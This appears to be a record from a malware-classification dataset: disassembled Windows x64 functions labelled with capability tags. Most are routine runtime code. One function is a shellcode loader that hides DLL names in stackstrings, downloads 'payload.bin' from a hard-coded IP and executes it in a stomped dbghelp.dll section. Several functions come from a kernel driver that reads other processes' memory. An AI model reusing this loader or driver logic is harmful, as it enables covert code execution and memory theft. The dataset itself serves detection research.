joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140027ce0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14000fe10
sub rsp, rax
mov rax, qword [0x140047030]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140024938
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140027d2f
mov rax, rbp
jmp 0x140027e37
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x49740]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140028fc8
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x49740]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140027e33
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140027e33
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140028fc8
test rax, rax
js 0x140027e33
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140027e33
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140027e25
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140027e25
cmp byte [rcx], 0xd
jne 0x140027e0b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140027e1a
cmp byte [rcx + 1], 0xa
jne 0x140027e1a
inc rcx
jmp 0x140027e1a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x47410]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140027ded
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140027e37
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14000f600
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140028154
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14002816a
mov al, 1
jmp 0x1400281ca
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14002817b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400281c8
mov ecx, dword [rcx + 0x18]
nop
call fcn.14002c510
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400281c8
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400281c8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400281c8
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400281ca
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140028368
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140049740]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400283bf
cmp word [rdx], r13w
jne 0x1400283bf
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400283c4
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1400284e9
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14002850a
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400283fd
mov rdx, r9
mov word [rbx], cx
jmp 0x140028424
cmp r9, r8
jae 0x140028434
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1400283de
jmp 0x1400284e9
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400284de
cmp dword [rsp + 0x80], esi
je 0x1400284de
lea r8, [0x140049740]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400284b6
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140028486
mov word [rbx], r13w
jmp 0x1400284e6
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140028493
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1400284e6
cmp word [rsp + 0x70], r13w
jne 0x1400284c3
cmp rbx, r14
je 0x140028480
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140028fd0
cmp word [rsp + 0x70], r13w
je 0x1400284e9
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140049740]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1400284e3
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1400284e9
Function at 0x14002bd0c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14002bd3c
xor eax, eax
jmp 0x14002bdff
mov rbp, rbx
cmp word [rax], si
je 0x14002bd61
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14002bd48
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14002bd44
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14002a30c
movsxd r14, eax
test eax, eax
jne 0x14002bd9f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14002bd35
mov rcx, r14
call fcn.14002367c
mov rdi, rax
test rax, rax
jne 0x14002bdb8
xor ecx, ecx
call fcn.140023640
jmp 0x14002bd94
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14002a30c
test eax, eax
jne 0x14002bde9
mov rcx, rdi
call fcn.140023640
jmp 0x14002bdf3
xor ecx, ecx
call fcn.140023640
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14002ea64
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1400231f4
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14002eb05
cmp ebx, dword [rsp + 0x30]
je 0x14002eafe
test esi, esi
je 0x14002eafe
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14002ead9
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14002eae6
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14002eac3
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14002eaea
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14002eb07
mov eax, 1
jmp 0x14002eb07
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400319c4
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140016bac
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140031a4e
cmp byte [rbp - 0x21], r15b
je 0x140031a49
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140031a84
call fcn.140025008
test eax, eax
jne 0x140031a70
cmp byte [rbp - 0x21], r15b
je 0x140031a68
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140031a84
cmp byte [rbp - 0x21], r15b
je 0x140031a81
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14001f640
test eax, eax
jne 0x140031b24
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140016bac
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140031ac3
cmp byte [rbp - 0x21], r15b
je 0x140031af8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140031af8
call fcn.140025008
test eax, eax
jne 0x140031ae4
cmp byte [rbp - 0x21], r15b
je 0x140031add
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140031af8
cmp byte [rbp - 0x21], r15b
je 0x140031af5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14001f640
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140031b24
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140031b27
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140031b35
mov rcx, rdi
call fcn.140023640
cmp byte [rbp + 0x3f], r15b
je 0x140031b44
mov rcx, qword [rbp + 0x27]
call fcn.140023640
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140002790
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
jmp 0x140002790
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x148
mov rdi, rsp
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x160]
mov rax, qword [0x140081160]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov byte [rsp + 0x38], 0x6c
mov byte [rsp + 0x39], 0x6c
mov byte [rsp + 0x3a], 0x64
mov byte [rsp + 0x3b], 0x2e
mov byte [rsp + 0x3c], 0x70
mov byte [rsp + 0x3d], 0x74
mov byte [rsp + 0x3e], 0x74
mov byte [rsp + 0x3f], 0x68
mov byte [rsp + 0x40], 0x6e
mov byte [rsp + 0x41], 0x69
mov byte [rsp + 0x42], 0x57
mov byte [rsp + 0x43], 0
lea rcx, [rsp + 0x38]
call fcn.140001271
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x20], rax
lea r9, str.payload.bin
mov r8d, 0x118
lea rdx, str.43.135.39.104
lea rcx, [rsp + 0x110]
call fcn.14000123f
lea rcx, [rsp + 0x120]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x100]
lea rcx, [rsp + 0x120]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x68]
lea rcx, [rsp + 0x100]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x68], 0
je 0x1400029c0
mov byte [rsp + 0x98], 0x6c
mov byte [rsp + 0x99], 0x6c
mov byte [rsp + 0x9a], 0x64
mov byte [rsp + 0x9b], 0x2e
mov byte [rsp + 0x9c], 0x70
mov byte [rsp + 0x9d], 0x6c
mov byte [rsp + 0x9e], 0x65
mov byte [rsp + 0x9f], 0x68
mov byte [rsp + 0xa0], 0x67
mov byte [rsp + 0xa1], 0x62
mov byte [rsp + 0xa2], 0x64
mov byte [rsp + 0xa3], 0
lea rcx, [rsp + 0x98]
call fcn.140001271
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0xb8], rax
cmp qword [rsp + 0xb8], 0
je 0x14000298c
mov rax, qword [rsp + 0xb8]
add rax, 0x1000
lea r9, [rsp + 0xc4]
mov r8d, 0x40
mov rdx, qword [rsp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0xb8]
add rax, 0x1000
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call fcn.140009a40
mov rcx, qword [rsp + 0x68]
call fcn.140009a10
mov rax, qword [rsp + 0xb8]
add rax, 0x1000
mov rcx, rax
call fcn.140009960
jmp 0x1400029c0
lea r9, [rsp + 0xe4]
mov r8d, 0x20
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0xb8]
add rax, 0x1000
mov rcx, rax
call fcn.140009960
xor eax, eax
mov edi, eax
mov rcx, rsp
lea rdx, [0x14006c750]
call fcn.140008760
mov eax, edi
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140008740
add rsp, 0x148
pop rdi
pop rsi
ret
Function at 0x14000bbf7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140081160]
jne 0x14000875a
rol rcx, 0x10
test cx, 0xffff
jne 0x140008756
repz ret
ror rcx, 0x10
jmp 0x14000bb50
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140082c90]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140082d88]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000bbd5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140082c90]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000bbf7
mov rax, qword [rsp + 0x88]
mov qword [0x140082d88], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140082d28], rax
mov rax, qword [0x140082d88]
mov qword [0x140082c00], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140082d10], rax
mov dword [0x140082bf0], 0xc0000409
mov dword [0x140082bf4], 1
mov rax, qword [0x140081160]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140081168]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140082c88], eax
mov ecx, 1
call fcn.140014dc0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14006e4e8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140082c88], 0
jne 0x14000bc7e
mov ecx, 1
call fcn.140014dc0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140001030
Capabilities:
Find process by pid

Disassembly:
push rbx
sub rsp, 0x20
cmp dword [rcx], 0x85b3e12
mov rbx, rcx
jne 0x140001087
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x140001087
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140001087
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
test rax, rax
je 0x140001087
mov rcx, qword [rbx + 8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor eax, eax
jmp 0x14000108c
mov eax, 0xc0000001
add rsp, 0x20
pop rbx
ret

Function at 0x140001094
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp dword [rcx], 0x85b3e12
mov rsi, rcx
je 0x1400010b8
mov eax, 0xc0000001
jmp 0x14000116d
xor ebx, ebx
lea r9, [rsp + 0x20]
xor r8d, r8d
mov dword [rsp + 0x20], ebx
lea rdx, [rsp + 0x20]
mov edi, ebx
lea ecx, [rbx + 0x42]
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
jne 0x14000116b
test rdi, rdi
je 0x1400010f0
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov edx, dword [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rax
mov ecx, 0x42
mov rdi, rax
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
je 0x1400010e0
test rdi, rdi
je 0x14000116b
mov r8d, dword [rdi]
test r8d, r8d
je 0x140001160
lea rdx, [rdi + 0x18]
test byte [rdx - 8], 1
je 0x140001155
cmp qword [rdx], 0x200000
jne 0x140001155
mov ecx, dword [0x140001dc0]
mov r9b, byte [0x140001dc4]
cmp dword [rdx + 8], ecx
jne 0x140001155
cmp byte [rdx + 0xc], r9b
je 0x14000117d
inc ebx
add rdx, 0x20
cmp ebx, r8d
jb 0x14000112e
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov rcx, qword [rsi + 8]
mov rax, qword [rdx - 0x10]
mov qword [rcx], rax
jmp 0x14000116b
Function at 0x14000118c
Capabilities:
Find process by pid

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x30
cmp dword [rcx], 0x85b3e12
mov rdi, rcx
jne 0x140001251
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x140001251
and qword [r11 + 8], 0
lea rdx, [r11 + 8]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001251
call fcn.140001268
mov rcx, qword [rsp + 0x40]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rdx, qword [rdi + 8]
mov rcx, rbx
mov rsi, qword [rdi + 0x18]
call fcn.1400014b4
test rax, rax
je 0x140001251
mov ecx, eax
mov edx, 0x1000
and ecx, 0xfff
sub edx, ecx
mov rcx, qword [rdi + 0x10]
cmp edx, esi
cmovl esi, edx
and qword [rsp + 0x48], 0
cmp byte [rdi + 0x20], 0
movsxd r8, esi
je 0x140001234
mov rdx, rcx
lea r9, [rsp + 0x48]
mov rcx, rax
call fcn.140001694
jmp 0x14000124d
lea rdx, [rsp + 0x48]
mov r9d, 1
mov qword [rsp + 0x20], rdx
mov rdx, rax
call qword [sym.imp.ntoskrnl.exe_MmCopyMemory]
xor eax, eax
jmp 0x140001256
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x14000a47c
Capabilities:
Encode data using xor

Disassembly:
adc bl, byte [rbp + 0x705944b0]
scasd eax, dword [rdi]
mov cl, 0x10
adc byte [rbx], bl
or ch, byte [rdi + 0x12dd7f0d]
or byte [rdi + 2], dl
sar byte [rsi - 0x38], 1
add dword [rdx + 0x32], edi
or dword [rsi], ebx
pop rax
xchg esp, eax
push rax
stosb byte [rdi], al
sub edx, edi
xor byte [rsi], al
adc ah, dh
int 0xdb
leave
stosd dword [rdi], eax
out 0x91, eax
mov edi, 0x4df86d8b
sub eax, 0x3200902
jo 0x14000a468
jle 0x14000a4d2
push 0x2c3cf033
lodsd eax, dword [rsi]
jbe 0x14000a4e7
frstor dword [r9 + 0x12786e0c]
invalid
cmp dword [rbx], eax
invalid
add esp, dword [rcx - 0x34]
movabs byte [0xfecf0bd92096931], al
sbb al, 0xfe
in eax, 0xf
push rdi
sub byte [rax + riz*8 - 0x16], cl
loopne 0x14000a4d3
cli
xchg edx, eax
invalid
Function at 0x140009bb0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x180
mov rax, qword [0x140047008]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rsi, rcx
xor edx, edx
lea ecx, [rdx + 2]
lea r15, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r12, rax
xor edx, edx
mov r8d, 0x12c
lea rcx, [rsp + 0x44]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x40], 0x130
lea rdx, [rsp + 0x40]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140009d28
xor r13d, r13d
nop dword [rax]
mov qword [rsp + 0x20], r13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x38], 0xf
lea rax, [rsp + 0x6c]
mov rbx, r15
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140009c50
lea rcx, [rsp + 0x20]
cmp rbx, 0xf
ja 0x140009c7d
mov qword [rsp + 0x30], rbx
mov r8, rbx
lea rdx, [rsp + 0x6c]
call sub.VCRUNTIME140.dll_memmove
mov byte [rsp + rbx + 0x20], 0
jmp 0x140009c8a
lea r9, [rsp + 0x6c]
mov rdx, rbx
call fcn.140003590
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140009c97
mov rdx, qword [rsi]
lea rcx, [rsp + 0x20]
mov rbp, qword [rsp + 0x38]
cmp rbp, 0x10
setae r14b
mov rbx, qword [rsp + 0x20]
cmovae rcx, rbx
mov r8, qword [rsp + 0x30]
cmp r8, qword [rsi + 0x10]
jne 0x140009ccb
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140009ccb
mov dil, 1
jmp 0x140009cce
xor dil, dil
test r14b, r14b
je 0x140009d00
lea rdx, [rbp + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140009cf8
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009d1c
mov rcx, rbx
call fcn.14000ce84
test dil, dil
jne 0x140009d23
lea rdx, [rsp + 0x40]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x140009d28
jmp 0x140009c30
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r15d, dword [rsp + 0x48]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r15d
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.14000cbd0
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14000ba30
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x14000ba51
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000ba7e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14000ba80
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14000bad9
test ecx, ecx
jle 0x14000bab9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14000bad9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14000bad9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
sbb ebx, ecx
push rsp
push rax
adc dword [0xcc0e160d], 0x5f2e490
invalid
Function at 0x14000bb00
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14000bb22
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x14000bb31
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14000bb54
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000bb56
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000bb92
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
